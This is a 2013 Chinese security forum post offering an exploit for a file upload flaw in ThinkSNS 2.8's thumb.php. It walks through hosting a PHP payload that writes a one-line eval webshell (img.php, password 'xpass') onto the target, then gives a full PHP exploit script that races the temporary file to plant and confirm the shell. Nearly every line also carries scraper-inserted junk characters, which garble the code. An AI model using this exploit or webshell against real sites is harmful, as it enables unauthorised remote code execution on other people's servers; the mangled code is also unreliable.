找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2100|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本8 p6 N: S; J  L1 a0 K
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)- i( l) P6 w# w: o, ~
漏洞文件2 x/ p& t+ _: F% T  U8 L" }
存在漏洞的文件为:thumb.php" P4 E+ n' G4 @) g% O
作者:韦鲲鹏
+ t0 ]( R4 D. F% l1、        准备如下PHP文件并上传到服务器(自己的)。
: R4 c0 c# t2 @: e文件内容如下:
8 L( v- B% h( k<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>2 Y5 D# }/ L/ D8 A8 B
2、        计算出临时的文件名:' E" `0 W9 Z% t5 q! [5 j9 Z
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
% P, I1 D* o" w& [# z
+ Y( R0 J+ J7 Y3 N3、        上传临时文件。" j& b) {5 u3 c& A, Z5 P, B  E3 A6 P
4、        访问临时文件。+ l$ i; M. V2 \
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
  C; w% ]; r8 P% h, oExploit文件内容如下:(这个我就不详细解释了)
# n2 g2 V9 f& w3 }: z3 ?' H. u; G2 I<?php
% v1 ]% U  ^/ Y$ Q5 D) `9 j. Xerror_reporting(0);1 }! M# P5 G. z: Q, v
set_time_limit(0);
2 A% P# @, `3 f% a, Eini_set(“default_socket_timeout”, 5);
4 A, P* A1 Y7 A& u. q; m# T) efunction http_send($host, $port, $headers) {4 R: h2 M+ d6 W/ j" Y9 a, o# E
$fp = fsockopen($host, $port);
6 j, {# O. e1 N$ Q/ pif (!$fp) die(‘Connection -> fail’);+ y& {3 Q! e" j" P: j
fputs($fp, $headers);
/ ~/ k/ {$ N  u) _return $fp;
" h# E$ f7 B, B$ F, I5 C/ [; B" K}# X) L# R& D7 W
function http_recv($fp) {, P2 O  N& h9 r1 M9 n4 E0 |0 Q
$ret=”";
' i, t/ Q( {/ [8 [while (!feof($fp))& ]8 n+ g3 B# o+ {0 d
$ret.= fgets($fp, 1024);2 n' e. k" Z* Q8 R" B8 g
fclose($fp);5 n: a& I$ l9 }
return $ret;. F& {( r. |5 X; l  @" o# @. y
}6 I* p* ?, N# ~6 z9 M1 S- Y1 [
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
3 y6 M( t" ]5 Q! [3 a1 Nprint “# Discovered by 韦鲲鹏 #\n\n”;# ?. G5 K* s# x1 ^, i0 W$ \. a
if ($argc < 4) {" I& O$ ]7 I5 O) p! q
print “Usage:   php <host> <path> <romote_url>\n”;, H3 t/ n2 k$ d9 m, b! P
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;; ~0 m4 Q9 D. @, y
die();
. k7 F( @% }5 h2 m( D}0 p9 x+ a  g- o$ d2 W- [+ x* ^
$host = $argv[1];
8 H' m1 [4 V1 q! s* [2 j  |$path = $argv[2];9 v! G) I! V. x! N; I
$url = $argv[3];
( A5 }- T' l3 k/ o! ~7 _. t$i=0;) Q8 e$ q- t6 u1 F/ o2 O6 T
//上传数据包* i+ X) V8 J( ?- C
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;, K1 \7 L  ?0 V3 x; ~; g
$headers_up .= “Host: “.$host.”\r\n”;
& {( [" r  a6 p3 U) N% `$headers_up .= “Connection: close\r\n\r\n”;
8 a: E7 ~+ C+ Z+ j  o/ n  D7 s/ W7 ~; Iecho $headers_up;
# |+ R& ]# n- }2 R//临时文件访问数据包
; `6 X6 s4 y. u& Y$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;( g* m. U. C; @" h  ~
$headers .= “Host: “.$host.”\r\n”;! ^( q+ E+ Q# b
$headers .= “Connection: close\r\n\r\n”;( G, f+ |, A6 P" J0 \) s
echo $headers;3 J9 Z& ?' ^3 v. ?0 O# {  I, Z
while(++$i<10) {- K1 I6 G; g$ Y' N) M/ k. ], f
fclose(http_send($host, 80, $headers));
& z! _. K- B9 M5 E}. T9 h, ]- d+ `0 z8 U0 s
fclose(http_send($host, 80, $headers_up));* f9 t# t5 _8 b: b+ J
while(++$i<50) {
$ H$ l- \" K9 F4 Efclose(http_send($host, 80, $headers));, G+ Z" G  e5 b3 w6 d; J1 _8 b
}
0 ]! F% R/ z5 i! _4 j+ C; ?$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
5 Z3 x4 E) C, y2 m( |( F+ i7 o* L$headers .= “Host: “.$host.”\r\n”;: h7 l5 E5 a7 v7 K" q
$headers .= “Connection: close\r\n\r\n”;+ k# J/ v; c+ @  g9 n
$res=http_recv(http_send($host, 80, $headers));) @  S% P" V4 R$ I: r9 s
if(preg_match(‘/200 OK/’,$res)) {
" F( t% H( B; c: Uprint “Success!\n\n”;
$ ~# I7 P7 z& }" c4 c4 R} else {
$ J% \+ k- l. ~+ E4 J, fprint “Fail!\n\n”;
  y: `) D# Q6 J}8 B: a4 \+ X: r( s* v* q+ r, n
?>
8 x) |- j8 _/ p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表